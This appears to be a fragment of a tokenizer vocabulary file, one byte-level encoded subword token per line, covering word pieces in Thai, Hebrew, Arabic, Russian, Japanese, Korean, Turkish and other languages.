+ãĤĦãģĻ +×Ĺ×ĸ +×ijר×Ķ +루 +ìĶĢ +بØŃØ« +à¹Ģà¸ķà¹ĩ +ówi +بÙĩ +ãģįãģ¾ãģĻ +Ġ×¢×ŀ +×Ĵ×ķ׾ +езд +ÙĬÙ쨩 +สà¸Ļà¹ĥà¸Ī +Ġ×ª×ľ +ÑıÑī +ĠسÙĨ +ĠÙĪØ§ØŃد +ĠÑģм +ladı +ıld +×Ļרת +ียà¸Ļ +ת×Ĺת +Ġжиз +à¸ŀั +à¸ŀัà¸Ĵ +à¸ŀัà¸Ĵà¸Ļา +à¸Ĭิ +اخÙĦ +ãģ£ãģ¦ãģĦãģŁ +รัà¸IJ +ãĤģãĤĭ +à¹Ĥà¸ģ +ĠTá»ķ +Ġhakk +رÙģ +ìłĢ +Ñģоб +ãģªãģijãĤĮãģ° +ÙĩÙĪ +Ġë²ķ +ãĤĨ +ĠاÙĦسعÙĪØ¯ +Ġ×IJתר +اغ +Ġ׾×ĵ +à¹ģà¸ķ +à¹ģà¸ķà¹Īà¸ĩ +íĮĮ +ÑĥпиÑĤÑĮ +à¸ŀืà¹īà¸Ļà¸Ĺีà¹Ī +×ijת×Ļ +à¹ĩà¸ģ +ÅĤat +Ġê°ľìĿ¸ +ìłķë³´ +ÑĤал +Ġgüven +Ġİl +Ġê°ģ +Ġبت +×ŀ×ķ׳×Ķ +ĠاÙĦØŃÙĥÙĪÙħ +ÙĤات +à¹ģà¸ģà¹Ī +หาà¸ģ +нÑĮ +à¸Ľà¸£à¸±à¸ļ +มาà¸ĵ +ĠнеÑģк +Ġض +สมั +สมัà¸Ħร +ãģĮãģĤãĤĬ +меÑģÑĤ +Ġ×IJצ׾ +Ġкомпани +סר +ÙĬÙħØ© +ĠÑħоÑĢо +ĠÑħоÑĢоÑĪ +Ġ×Ļ×ķ×ĵ +üs +×Ĵ×Ļש +à¸ļà¸Ĺ +تÙĨظ +วาà¸ĩ +มหา +Ġ׼×ķ׾ +à¸Ĥà¹īาà¸ĩ +ë°ľ +год +дан +ãģĭãĤĤãģĹãĤĮãģ¾ãģĽãĤĵ +ãģĵãģ¡ãĤī +ãĥIJãĤ¤ +eceÄŁi +دÙĬدة +ÙĨÙī +Ġëĭ¤ìĿĮ +วี +غا +лиз +à¹Ģà¸Ķิ +à¹Ģà¸Ķิม +ĠÙĬست +Ġyılı +koÅĦ +ãģ§ãģĹãĤĩãģĨãģĭ +ãģĤãģª +ãģĤãģªãģŁ +ÑĨен +ĠÙĪØ² +×IJ×Ļש +à¹Īà¸Ń +رØŃ +ê´ij +ÑĢаÑģÑĤ +Ġ×Ķ׾ +ãģĹãģ¦ãĤĤ +×ŀר׼ +×ŀר׼×ĸ +éģķãģĦ +ãģŁãģı +ĠÑģÑĥд +веÑģÑĤи +ĠíķĦìļĶ +ãĥķãĤ§ +ÑĤелÑĮно +à¹Ģà¸ŀืà¹Īà¸Ńà¸Ļ +ÅĤuż +à¹Ģà¸Ķิà¸Ļà¸Ĺาà¸ĩ +ש×ķר +Ġ×ŀ×ĵ +×ķ×¢×ľ +ÙĦاÙħ +à¹Ħà¸ĭ +лей +кÑĥÑĢ +Ả +à¸Ĺาà¸Ļ +ì§ij +ĠгоÑĢод +רס +׾×ķ×Ĵ +masını +ĠлÑĥÑĩ +ลà¹Īา +ìļ¸ +ש×ĺ +ĠÐĺн +íĤ¤ +ÙĪÙĦا +ìķł +ĠØ£ÙĬضا +Ùĥار +ĠاÙĦتع +สูà¹Ī +ãĤ¼ +×ij×Ļ×IJ +ยà¸ģ +ĠØŃÙĤ +ربÙĬ +ãģĺãĤĥãģªãģĦ +รัà¸ģษา +ÑħодиÑĤ +à¸ķà¸Ńà¸ļ +׳×ĺ×Ļ +ĠاÙĦÙħج +تÙħع +оваÑĤÑĮ +ÙĦÙĬÙĨ +×Ļ×ŀ×ķת +Ġmù +nÄĻ +ĠدÙĬ +׼ש×Ļ×ķ +Ġhiç +ëijIJ +ÙĪØ§Ø¡ +ÙĪØ· +ĠاÙĦبÙĦ +à¹ģมà¹ī +×§×ķת +ÙĪØ¬Ø¯ +å§ĭãĤģ +ÙĬئة +Ġ매 +صبØŃ +פ×IJ +гоÑĢ +ס×Ķ +بÙĬÙĤ +ยาà¸ģ +Ġнад +ÙĬÙij +ĠبÙĪ +ס×ķר +ÙħÙĥاÙĨ +ר×ij +×Ĵ×ĸ +צת +bilit +лаг +ĠNgo +×IJ×ķר +à¸ķà¸Ļ +íĬ¹ +à¸Ĺีà¹Īà¸Ķี +à¸Ľà¸£à¸°à¸Īำ +ование +ãģĦãģ¤ +ãĥĥãĤ¯ãĤ¹ +åIJĪãĤı +åIJĪãĤıãģĽ +×Ļ׳×ķ×Ļ +ạy +Ø«ÙĤ +ĠпÑĢоб +ĠпÑĢоблем +ÅŁeh +ÅŁehir +عادة +اÙĨÙĪÙĨ +à¸ķัวà¹Ģà¸Ńà¸ĩ +ì¶ķ +ılan +бан +ãĥ³ãĥī +à¸Īี +Ġ×Ķש׳×Ļ +поÑĤ +×ķ׾×Ļ×Ŀ +ลัà¸ļ +ĠÑįÑĤи +×ijקש +ë¹ĦìĬ¤ +à¸Ńยà¹Īาà¸ĩà¹Ħร +×Ļ׾×Ļ +à¹ĥà¸Ĭà¹Ī +ĠاÙĦÙĥÙĦ +ãĥļãĥ¼ãĤ¸ +صة +ÑĤиÑĢ +ãĤĵãģ© +зÑĭк +wyż +ÙĩÙĬ +ĠÙħÙĦÙĬ +Ġвиде +ظاÙħ +داÙĪÙĦ +×ŀת×Ļ +Ġsık +à¹Ģà¸ķิม +ãĤ¢ãĤ¤ +каÑħ +צ×Ļ׾ +à¹Ģà¸Ĭà¹Īà¸Ļ +маг +магаз +магазин +à¸Ľà¸± +à¸Ľà¸±à¸Ī +Ġש×Ļר×ķת +ียม +ãĥĸãĥ« +ĠدÙĪÙĦ +קר×Ļ×Ŀ +ÙĩÙı +ово +Ġüret +دÙĪÙĨ +à¹ģà¸Ļว +à¹Ģà¸Ļืà¹īà¸Ń +ĠÑĦоÑĤ +ãĥĺ +ãģ¤ãģĭ +ÑıÑģ +ĠíķĺëĤĺëĭĺ +ائع +ĠплаÑĤ +ìĺĪ +ĠdostÄĻp +ÙĪØ¬Ùĩ +Ġ×Ķ×Ĺ×Ļ +׳×Ļ×§ +дей +íĽĦ +ıy +بØŃر +à¹Ģสริม +Ġ׾×Ĵ +ذÙĩب +جÙĬÙĦ +رÙĥز +Ġëħ +Ġëħ¸ +פ×Ļ׾×ķ +ãģ¾ãģļ +iriÅŁ +ĠÙĥÙĬÙģ +Ġ×ijצ +ĠêµIJ +ÑĢоÑģÑģ +ĠØ´ÙĬ +Ġiçer +×Ĵ×ķ×ij×Ķ +менно +×¢×ij×Ļר +×ķ×ŀ×Ķ +ãĤīãģĹãģĦ +ãģ¼ +Ñīин +è²·ãģĦ +جÙħÙĪØ¹Ø© +Ġdönem +Ġ×ij×IJר +веÑģÑĤ +×ķר×ķת +سÙģ +à¹ģà¸Ĺà¸Ļ +ĠдокÑĥменÑĤ +ĠاÙĬ +جاÙĨ +צ×ķ×¢×Ļ +ĠоÑģоб +ĠاÙĦÙħس +ÑĢаб +à¸łà¸¹ +à¸Ķาว +лекÑĤ +عÙĤ +×ķ×ĵ×ķת +Ġolu +ĠoluÅŁtur +ãģ¾ãģ¾ +един +à¹Ģà¸Ńà¸ģ +ãĤµãĤ¤ +ëĦĪ +Ø·ÙĨÙĬ +Ø·ÙĤØ© +ĠÐłÐ°Ð· +ÙĦÙij +Ñĩем +Ġ׾×ĺ +สัà¹Īà¸ĩ +سرائÙĬÙĦ +Ġפר×ĺ×Ļ +деÑģÑĮ +Ġ׳׼ +اÙĨب +ÙĬاة +Ùħبر +Ġkı +à¸Ľà¸ı +à¸Ľà¸ıิ +à¸ļัà¸ķิ +×ł×ª×Ļ +ìĨ¡ +راب +à¹ĥà¸ķ +à¹ĥà¸ķà¹ī +×Ļ×ł×ª +ÙĪÙĬر +Ġ×Ķ×ŀ×Ļ +ейÑĩаÑģ +×§×ķ×ij +دراس +ĠÙħÙĤ +رÙĬÙĨ +خاص +ãģĬéĩij +Ġجدا +ãģĨãģ¡ +ëħ¸ +ırım +æ§ĺ +ãģ«å¯ +ãģ«å¯¾ +ÑĨев +Ġvard +ĠÐIJн +eÄŁ +ÑģÑĤвенно +Ш +سد +à¸ģุ +à¹ģà¸ľà¸Ļ +รูà¹īส +รูà¹īสึà¸ģ +اتØŃاد +ÑijÑĤ +×Ĺ×ķ×§ +ãģĻãģIJ +Ø·ÙĦاÙĤ +Ġ×§×ķ×ĵ +à¹ĥà¸Ĭà¹īà¸ĩ +à¹ĥà¸Ĭà¹īà¸ĩาà¸Ļ +ãĥ¼ãĤ¿ +Ġsür +ÑĢок +ë³ij +สมาà¸Ĭ +สมาà¸Ĭิà¸ģ +ãĥķãĥ¬ +è¾¼ãģ¿ +ãĤ»ãĥ³ +Ġê°Ģì§Ģ +à¸ľà¹īา +ÑįÑĤомÑĥ +иÑĤел +à¸łà¸± +à¸ij +ãĥĸãĥ© +×Ľ×ª×ķ×ij +׳×Ŀ +еннÑĭе +×¢×¨×Ľ×ª +ĠìĤ +ĠìĤ´ +à¸Ĥà¹īา +׳×ķס +ãĥ¬ãĥĵ +ÑĢеÑģ +à¹Ģลà¸Ĥ +ثاÙĦ +ìĹĨ +ĠÑĩаÑģÑĤ +าศ +ãĥªãĤ¢ +uç +×Ļ׼×ķת +ลà¹īาà¸Ļ +ië +ãĤ¸ãĤ§ +à¸Īà¸Ń +ÙĪØŃØ¯ +×Ļצ×ķ×ij +Ġ×ijש׾ +око +ضة +ذر +ĠÑĥд +İL +×ķצ×Ļ×Ŀ +×ĸ×ŀף +à¸Ľà¸ģ +íķĻêµIJ +ساÙħ +à¹Ħà¸Ķ +ละà¹Ģà¸Ń +ละà¹Ģà¸Ńีย +ละà¹Ģà¸Ńียà¸Ķ +ảy +аÑĨион +ãĤ¹ãĤ¯ +פ×ķס +รà¹Īาà¸ĩ +еннÑĭй +عÙĨ +عÙĦÙĨ +ائÙģ +dÄĻ +ؤÙĪÙĦ +׾×ķ×ķ +Ġ×ijש×ij +ä»ĬåĽŀ +ĠاÙĦجÙĨ +داد +waÄĩ +ãĥªãĥ³ +ĠìŀIJìĭł +اÙĨÙĬا +ãĥ¡ãĥª +ÙĦÙĪÙĨ +à¸Ĺà¹Īà¸Ńà¸ĩ +à¸Ĺà¹Īà¸Ńà¸ĩà¹Ģà¸Ĺีà¹Īยว +اÙģÙĬ +ĠлиÑĪ +ÙħÙĬØ© +оÑĤвеÑĤ +Ñĩин +ÃĬ +ãĥ¡ãĥ³ +å®Ł +éļĽãģ« +ĠÑĢай +ãĤ¦ãĥ³ +×Ļר×ķש +×Ļר×ķש׾×Ļ×Ŀ +มะ +Ġara +казаÑĤÑĮ +à¸ķัà¸Ķ +ÑĥÑİÑĤ +Ġüst +×Ĵ×ķ×ij +×Ĵ×ķ×ij×ķת +malı +егод +егоднÑı +اÙģÙĤ +à¸Ĭà¹Īà¸Ńà¸ĩ +Ġözellik +×Ļצ×ķר +ĠmiÄĻd +ĠiliÅŁ +ĠнаÑħод +×¢×ĸר +×ľ×Ľ×ª +ÙĨتاج +ĠÑģем +à¸Īà¹Īาย +à¸ķรว +à¸ķรวà¸Ī +פר×ķ +à¸Ĥัà¸ļ +ãģŀ +Ġпло +колÑĮ +×ŀ×¢×ĺ +íķĺìĭľ +jÄħce +ÙĨاÙĨ +ลีà¸ģ +нÑĥÑĤ +ĠобÑĢаз +Ùĥبر +ĠاÙĦÙĪØ·ÙĨ +ãģķãģĽãģ¦ +ÙĤاء +×ŀ×ĵ×Ļ׳ +yü +פ×Ļת +׳×ķף +ÙħÙĨظ +หà¸Ļัà¸ģ +ìŀĪ +ãĤ«ãĥ¼ãĥī +عÙĨÙĬ +под +ضاء +à¸Ļà¸ķà¹Į +×ŀשפ +วà¹Į +ר×ķ×§ +สืà¹Īà¸Ń +פק×Ļ×ĵ +ãģªãĤīãģªãģĦ +ĠìŬ룬 +ÙĦج +ÑīиÑĤ +ãĥĥãĤ· +ÙĦÙĬس +ĠÙĦÙħا +ìłij +×ij×Ļף +ãĥģãĤ§ +Ġgüç +Ġchứ +×ķצ×IJ +קר×ij +à¹Ĥà¸ŀ +оÑĩно +סק×Ļ +ש׾×Ŀ +صرÙģ +ĠLÃł +×¢×Ļת +á»· +à¹Ĥà¸Ńà¸ģ +à¹Ĥà¸Ńà¸ģา +à¹Ĥà¸Ńà¸ģาส +Ġ×Ķ×ĵ×ijר +à¸Ļัà¹Īà¸Ļ +زر +нако +íļį +ãĤĤãģ¡ +ãĤĤãģ¡ãĤį +ãĤĤãģ¡ãĤįãĤĵ +اÙħت +عداد +инÑĭ +ÅĤyw +à¸Ħà¸ĵะ +à¸Ĺะ +ktör +×Ļ×Ĺ×Ķ +Ġме +ĠмеÑģÑı +׳×Ķ×Ĵ +ĠÑģÑĥÑīеÑģÑĤв +à¸Ļัà¸Ļ +ÑĦÑĦ +екÑĤив +عÙĦÙĪÙħات +бÑĥд +à¸Ļัà¸ģà¸ĩาà¸Ļ +หà¸Ļà¹īาà¸Ĺีà¹Ī +ÙĤÙĬÙĤ +ãĤ·ãĥ³ +ãģ«éĸ¢ +×IJר×Ĵ +ĠпÑĢоÑĤ +ĠпÑĢоÑĤив +ĠìŀĪìĸ´ +ÙĤÙĬÙĤØ© +ìĹĩ +kür +ãģ«ãģªãĤĬãģ¾ãģĹãģŁ +ĠдеÑıÑĤ +ĠдеÑıÑĤелÑĮ +פ×ķר×ĺ +à¸Łà¹īา +à¹Ģà¸ł +ĠавÑĤомаÑĤ +×ĸ×Ļ×§ +Ġolduk +عاÙħ +ĠÑĤоÑĢ +yrıca +ÃªÌ +ãĤŃãĥ³ãĤ° +ãģ«ãģ¨ãģ£ãģ¦ +à¹Ģà¸īà¸ŀ +à¹Ģà¸īà¸ŀาะ +ãģ¯ãģļ +×ŀ×IJ×Ļ +สะà¸Ķ +สะà¸Ķวà¸ģ +ìľ¼ë©° +à¸ģี +ฬ +Ġ×¢×ķש +à¸łà¸²à¸©à¸² +à¸Ĺัà¸Ļ +acakt +acaktır +اعدة +ĠÑĥÑģлÑĥг +סר×ĺ +×ķ×ŀ×ķת +×Ķ×ķר +×ŀ×ķ×ij +×ŀ×ķ×ijף +سÙĬاس +اتÙ쨧ÙĤ +×Ķצ׾ +Ùħؤس +Ġpó +Ġкни +×Ļ׼×ķ׾ +à¹Ģหลืà¸Ń +׼׾׼ +׳×ĸ +ÑĪие +rès +ĠاÙĦØŃÙĤ +лÑıÑĢ +หà¸į +หà¸įิà¸ĩ +ר×Ĵ×Ļש +à¹Ģสà¹īà¸Ļ +ש×ij×ķף +ôtel +апÑĢ +апÑĢимеÑĢ +ابÙĦ +ĠÑĢазвиÑĤ +ĠполÑĮз +ĠСеÑĢ +×ķ×ij×Ļ +róż +ìĭŃ +ãĤ¯ãĥĪ +ãģĹãĤĪãģĨ +à¸ģรม +ØŃÙĥÙĪÙħ +à¹Ĥà¸ļ +à¸Ĺà¹īาย +ĠMá +ĠÑĤÑĭ +à¸Ħรัว +ÑĢÑĥб +ạp +ĠmÅĤ +ĠmÅĤod +ĠgörÃ¼ÅŁ +ĠgeliÅŁ +ươi +×ŀשק +ÙĢÙĢÙĢÙĢ +ราว +ãģĹãģ£ +ãģĹãģ£ãģĭãĤĬ +ĠÐļон +Ġkê +à¹Ĥà¸Ĺร +èIJ½ãģ¡ +åĩºãģ¦ +ลัà¸ģษ +Ġ×Ĵ×ij×ķ×Ķ +ãĥĻãĥ« +ê±°ëĤĺ +ë§IJ +×Ļ׾×ĵ×Ļ×Ŀ +ĠëĦĪ +×ŀר×Ļ +รส +ãĥŃãĥ³ +ило +ноÑģÑĤÑĮÑİ +×ĸר×Ĺ +пон +Ġ×Ķש׾ +ê²łìĬµëĭĪëĭ¤ +ĠkiÅŁ +ĠÐļи +วร +داع +ÅŁim +ÙĨÙij +ваÑĤ +راÙĥ +باÙĦ +иде +Ġ×Ķ×ŀ×Ĺ +ìĸµ +تÙģØ§Ø¹ +أت +ëĬĺ +ש×Ļת +ستÙħر +ĠÑĦак +ĠاÙĦØ£ÙħرÙĬ +ëŀ¨ +اسÙħ +ĠaÄŁ +Ġçev +ÙĥÙĪØ± +ãģķãģ¾ +Ġçöz +Ġرس +Äħda +สà¸Ļุ +ãģĹãģ¦ãģıãĤĮ +нÑİ +leÅŁme +ãĤªãĥ³ +ãģ¨ãģªãĤĬ +avaÅŁ +×ĺ×Ļ×ij +ØŃض +×ķצ×IJ×ķת +ÙĨÙħÙĪ +ıt +ĠÑħа +ĠÑħаÑĢак +ĠÑħаÑĢакÑĤеÑĢ +ĠdÅĤ +ãĥĹãĥ© +à¸Ĭุม +à¹Īà¸Ńà¸Ļ +×ķ×ij׾ +Ñģол +×ĵ×Ĵ +аÑĢаÑĤ +nivers +ĠgerçekleÅŁtir +ĠاÙĦÙĦÙĬ +ระยะ +ĠÙħختÙĦÙģ +Ġgönder +ÙģØ§Ø± +doÄŁ +doÄŁan +صÙĦاØŃ +Ġyayın +ãĥĨãĥ³ +รวà¸Ī +×Ļ×Ĺ×Ļ×ĵ +ünkü +ÑĨиалÑĮн +à¸ļู +มุ +hä +Ø®Ùģ +å¢Ĺ +å¢ĹãģĪ +еÑĩно +ĠاÙĦسÙĨ +à¸Ĥาว +imdi +Ы +à¸Ļà¸Ńà¸ģà¸Īาà¸ģ +à¸ļาล +תש +Ġdüzenle +мÑĭÑģл +ãģıãģª +żu +ĠwspóÅĤ +Ġназ +ındaki +ترة +ÅŁek +Ġöd +ĠÙĪÙĥ +ĠпозволÑı +Ġת×ķ׼ +ÙħÙĨتج +ë§ī +ĠاÙĦØ«ÙĦاث +аÑĨиÑİ +ÙĪØ±ÙĪ +ÑĭваеÑĤ +خصص +ĠاÙĦÙģÙĦ +ĠاÙĦÙģÙĦسطÙĬÙĨ +إجر +إجراء +اÙĨتخ +اÙĨتخاب +ارÙĬØ© +×ķÖ +Ø¢ÙĨ +×ŀ×¢×ķת +Ġмал +Ġ×IJ×Ĺ +à¸Ĺà¹īà¸Ńà¸ĩ +zeÅĽ +Ġë§Įëĵ¤ +رÙĬع +äºĭãĤĴ +à¸ļริหาร +׾×ŀ×Ļ×ĵ +ĠмÑĥж +ترÙĪ +ĠباÙĦØ¥ +פ×Ļ×§ +زÙħØ© +ĠÃ¶ÄŁrenc +ãĥ¶ +اÙħعة +×§×ij×ķצ +×ŀ׳×ķת +رÙĬÙħ +Ġоказ +ãģłãģijãģ© +Ġhız +Ġש×IJת +ãĤ¢ãĥ¼ +Ġmożliwo +ìĦ¼ +ÙĪØ§Ø¨ +огÑĢаÑĦ +ĠعبداÙĦ +ãĤĴè¡Į +بÙĬÙĦ +Ġİç +ยาย +ĠÑĥÑĩаÑģÑĤ +ÑĦеÑģÑģ +ÑĦеÑģÑģиона +Ấ +ÙĨÙĬÙĨ +عدÙĦ +สรร +دÙĬÙĦ +×ij×Ļ×§ +czyÅĤ +ÑĢоме +Ġмед +ìĻĶ +ãĥ©ãĤ¤ãĥ³ +ĠÑĤеп +еÑĢÑĮ +iÄŁi +вели +ÑĢиÑģÑĤ +ס×ķפ +×ŀ׾×Ĺ +ĠاÙĦØ¥ÙĨ +Ġ׾×Ķש +è¶ĬãģĹ +ĠÑĢÑĭ +×ķ×IJר +رÙĩاب +פ×ķ×IJ×Ļ +ĠгоÑģÑĥд +ĠгоÑģÑĥдаÑĢ +ĠгоÑģÑĥдаÑĢÑģÑĤв +ĠاÙĦØ£ÙħÙĬر +Ùħج +à¹Ģหมาะ +ÑĢев +à¸Ĭีà¸ŀ +ãĥķãĥĪ +иÑĩно +ĠاÙĦÙħؤ +Ġiht +íħľ +دÙĨÙĬ +رص +лаÑģÑĤ +à¹Ģหลà¹Īา +ılır +รà¸ĵà¹Į +×ŀש×Ļ×ļ +Ġdá»ĭ +Ø·Ù쨧ÙĦ +×ĺ×ķף +Ġ×ij×Ļ׳ +ãģ¾ãģ£ãģŁ +ложениÑı +تØŃر +باØŃ +à¹Ģสืà¹īà¸Ń +ãģĻãģĶ +ltür +à¸ĩาม +Ġtü +ĠпÑĢим +ĠпÑĢимен +Ġhayat +ëĥIJ +ëĭĮ +׳×Ļ×ķ +веден +ìħ¨ +à¸Īัย +à¸ģà¹Īà¸Ń +Ġвод +оÑģÑĤоÑı +наÑĤ +à¹ģหล +سÙħÙĬ +à¸Ķำà¹Ģà¸Ļ +à¸Ķำà¹Ģà¸Ļิà¸Ļ +wód +öyle +ãĥĢãĤ¤ +ÑĪий +меÑīен +ãģĹãģ¾ãģĨ +ãĥīãĥ© +ÙĪØ¶ØŃ +à¸Ńà¸Ļุ +ĠاÙĦاجتÙħاع +laÅŁma +à¸Ħà¸Ńà¸Ļ +×ŀר×Ļ×Ŀ +ÙĨاÙħج +שר×ķת +اÙĦØ£ +ĠksiÄħż +Ġан +ÑĢай +اÙĩرة +×ŀ×ĵ×Ķ +ä¸Ģç· +ä¸Ģç·Ĵ +ä¸Ģç·Ĵãģ« +ÑĢиÑĤоÑĢ +dıkl +à¹ģà¸ĸ +à¹ģà¸Ĥà¹Īà¸ĩ +екÑĤоÑĢ +×ŀסע +ÑĢакÑĤи +uÄŁu +×ķ×ijת +สูà¸ķร +ĠçalÄ±ÅŁm +ĠçalÄ±ÅŁmalar +Ġана +ãĥĽãĥ¼ãĥł +Ġbölüm +Ġبص +олоÑģ +ĠìķĬëĬĶ +à¹Īะ +ÙĪØªØ± +ä¹Ĺ +ستخداÙħ +פ×Ļ×Ļס +פ×Ļ×Ļס×ij +פ×Ļ×Ļס×ij×ķ×§ +ĠкÑĢаÑģ +лик +رÙĬØŃ +×ŀש׾×Ķ +à¹Ģยีà¹Īย +à¹Ģยีà¹Īยม +виÑģ +омн +ÄŁun +ãĥŃãĥ¼ãĥ³ +أتÙĬ +à¸ķรี +çͳãģĹ +تÙħر +ìĹĪìĬµëĭĪëĭ¤ +ĠÙĪØºÙĬر +redni +ĠاÙĦصÙģ +ĠнаÑģÑĤоÑı +ĠнаÑģÑĤоÑıÑī +à¸ķรา +ĠÑĥÑģлов +ĠÑĥÑģловиÑı +ÑĨеп +×Ķ×Ĺ׾×ĺ +Ø·ÙĬع +ĠBakan +ĠاÙĦرÙĪ +илÑĮно +ĠмеÑĤ +à¸Ķà¸Ńà¸ģ +ãģĭãĤīãģªãģĦ +ĠпоÑģÑĤоÑı +ĠпоÑģÑĤоÑıн +ĠÑĩаÑģ +üc +wró +бÑĥÑĢ +ãĥIJãĥĥãĤ¯ +ãĥ©ãĥ³ãĥī +ĠогÑĢ +สัà¸į +สัà¸įà¸įา +มัà¹Īà¸Ļ +à¸Ħà¸Ńม +alık +Ġнед +ümüz +ĠÅĽwie +ério +×Ļ×IJ×Ķ +دÙħات +ırl +ĠоÑĤз +ĠоÑĤзÑĭв +ä»ĺãģį +Ġkażde +миниÑģÑĤ +ãĤ°ãĥ« +ë°ĸ +езн +اÙĦÙģ +Ġשק׾ +Ùħض +ãĥĿãĥ¼ãĥĪ +ÙħÙĨت +ÙĤÙĬاÙħ +Ø´ÙĨ +×Ļר×ķ×¢ +ãĤŃãĥ£ãĥ³ +доÑĢов +×ŀ×Ļת×Ļ +ÙĪÙĦÙĪØ¬ +ÙĥاÙģ +ĠÑĢазлиÑĩ +иÑĤеÑĤ +нолог +ลà¸ĩà¸Ĺุà¸Ļ +ĠyaklaÅŁ +ãĥ¬ãĤ¤ +ê²łëĭ¤ +æ±ĤãĤģ +رÙĪÙģ +ĠíĬ +ĠíĬ¹ +ãģ£ãģıãĤĬ +à¸Ħวามà¸Ħิà¸Ķ +×Ķ×Ļס×ĺ +Ø¥ÙĤ +ãģ¦ãģĦ +à¹Ĥà¸Ĭ +ĠBüyük +ĠФедеÑĢ +ÑĨин +ÑĢова +ĠاÙĦاÙĤتصاد +Ġchá +à¸ĺาà¸Ļ +ë¥ł +à¹Ħà¸ķ +ÃŃpio +Ùĭا +ĠобÑıз +Ùĩج +Ġì¤ijìļĶ +ãģ®ãģ§ãģ¯ãģªãģĦ +باراة +ãĤ¤ãĥ« +ĠноÑĢм +á»īnh +mö +möglich +ÑĨип +ãĤ¢ãĤ¯ +×Ķ×Ļ +ÑĨиалÑĮно +ĠÅĽwi +تÙĤ +ĠÑģÑĤоим +بÙĬعÙĬ +Ġ׾ש×ŀ +глÑı +глÑıд +ãģ¦ãģıãĤĮ +ÄĻdzi +à¸Ĥั +à¸Ĥัà¹īà¸Ļ +Ø·ÙĤ +ĠìĹŃ +ãģ£ãģ¦ãģĹãģ¾ãģĨ +ĠdeÄŁerl +ĠdeÄŁerlendir +Ġülk +Ġмног +à¹ĭ +ë¿IJ +ĠУкÑĢа +ÄŁini +Ġбезоп +ĠбезопаÑģ +à¸Ńà¸Ńà¸ģà¹ģà¸ļà¸ļ +اظ +ØŃداث +леÑĢ +×Ļ×¥ +×Ļ׳×ĺר׳×ĺ +larınız +ØŃÙĬØŃ +żeli +à¸Ńัà¸ĩ +à¸Ńัà¸ĩà¸ģ +à¸Ńัà¸ĩà¸ģฤษ +ĠоÑĤлиÑĩ +ัส +ëŀį +ожно +ãĤ¹ãĥĿ +ĠÑħоÑĩ +Ġкап +еÑĩен +ØŃÙĦØ© +ÙĬاÙĩ +нал +×ķצר×Ļ×Ŀ +Ġkald +åĥį +ĠاÙĦشخص +Ġзна +Ġwzgl +życz +ê°Ŀ +à¸ŀลัà¸ĩ +íģ¼ +Ġöl +Ġbụ +Ø´Ùĩر +Ġзам +Ġдев +×Ļ×ĺת +تعÙĦÙĤ +ÙĪÙħØ© +ãĤĴä½ľ +ãģįãģ¦ +íĥĿ +rasında +ãĤĴæİ¢ +ĠÙħباشر +راجع +Ġвозд +ÙħØŃا +×ķשר +ĠиÑģÑĤоÑĢ +มัà¸ģ +tıģ +ثار +ترÙĨت +à¹ģà¸Ĥà¹ĩ +à¹ģà¸Ĥà¹ĩà¸ĩ +поÑĩ +Ġ×ij×IJ×ķת +ë¯Ģ +ëĿ¼ëıĦ +à¸Ĭัà¸Ķ +สà¸ķà¹Į +ãĥĭãĥĥãĤ¯ +иденÑĤ +ĠгÑĢÑĥпп +تخ +áºł +ยืà¸Ļ +ยัà¸Ļ +óry +TÃľ +ãģĹãĤĥ +ĠпÑĢовед +лÑıеÑĤ +ÙħØ® +ยà¸Ńม +×Ľ×ł×¡×ª +ĠاÙĦÙħÙĨت +Ġolmad +ר׼×ĸ×Ļ +ĠвÑģÑĤÑĢ +ĠиÑģÑģлед +ÑĤвеÑĢж +بدÙĪ +еÑĢÑĤ +ï»· +±ħ +สัมà¸ŀัà¸Ļà¸ĺà¹Į +ิà¹Īà¸Ļ +צ×Ļ×ij +wiÄĻt +Ġì°¸ +ĠzwiÄħz +سبÙĪØ¹ +ãĥĥãĤ° +à¸Ľà¸¥à¸Ńà¸Ķ +à¸Ľà¸¥à¸Ńà¸Ķà¸łà¸±à¸¢ +ãĤĤãĤĬ +ÙĤدس +Ġsprz +Ġsprzeda +Ġistedi +Ġkhu +Ġден +ĠkoÅĦ +Ġ×ij×Ĺ×Ļ +à¹Ģà¸Ĺà¹īา +×ķס×Ļ×£ +ãĥĭãĥ¥ãĥ¼ +ĠпÑĢедоÑģÑĤ +ĠпÑĢедоÑģÑĤав +à¹Ĥà¸Ł +év +ĠاÙĦصØŃ +صØŃاب +à¹Ģà¸Īà¹ĩà¸ļ +влек +วัà¸ķ +à¸ĸุ +ãģĵãģ¨ãģĮãģ§ãģįãģ¾ãģĻ +ÙĤÙĬÙĤÙĬ +×ķ×Ĺר +ÑĭÑĪ +ĠоÑĤно +ĠоÑĤноÑĪ +обилÑĮ +ÙģØŃ +ınt +ıntı +Ġ׾×ij×ĵ +íİĺìĿ´ì§Ģ +ãĥĬãĥ« +ĠÙħساء +×Ļ×ĺ×ij +ÑĮеÑĢ +ëĦ· +ÑĭÑĤа +ĠоÑĩеÑĢ +à¸Ķืà¹Ī +à¸Ķืà¹Īม +ĠNgh +تعب +ÙĦاÙĤات +×ķ׾×ķ×Ĵ×Ļ×Ķ +ĠìĿ´ê²ĥ +Ġ×Ķ×ijר +ìľµ +à¹Ģà¸Ħลืà¹Īà¸Ńà¸Ļ +ÙĩØ© +à¸Īำà¹Ģà¸Ľà¹ĩà¸Ļ +å¤īãģĪ +wiÅĽcie +chod +chodzÄħ +вÑĢо +×ŀ×Ĺ×Ļר +Ġyı +Ġyıll +ì¡Į +à¹Ħหว +ãģªãģıãģª +ĠзавиÑģ +ĠìĺĪìĪĺ +Ù쨰 +á»§ng +à¸ŀุà¸Ĺà¸ĺ +зн +layan +ãĤ¡ +à¸ģà¹ĩà¸ķาม +ĠsaÄŁlam +รà¸ĵ +ĠÑģиÑĤ +ĠÑģиÑĤÑĥ +ĠاÙĦتÙĨ +×Ķ×ĸ +ĠØ·ÙĪÙĬÙĦ +taÅĤ +Ġgörd +å¤īãĤı +ëĥ¥ +à¸Ħà¹Īà¸Ńย +×IJ×ķ×ĺ +ëħIJ +ãĥ©ãĥ³ãĤ¹ +วัà¸Ĵ +วัà¸Ĵà¸Ļ +ĠoluÅŁ +פע×ķ׾ +ĠszczegóÅĤ +à¸Ħาสิ +à¸Ħาสิà¹Ĥà¸Ļ +powied +ĠÑĤеб +หà¸Ļà¹Īวย +Ġмил +ØŃÙĥ +à¸Ĺà¸Ķ +ĠмаÑĤеÑĢиал +ÅĤow +à¹Ģà¸ģีย +ĠÑģовеÑĢ +ãĤ© +à¸Ľà¸£à¸´ +ĠиÑİ +наÑĩен +ÑĢенд +muÅŁtur +ĠпÑĢодÑĥк +зд 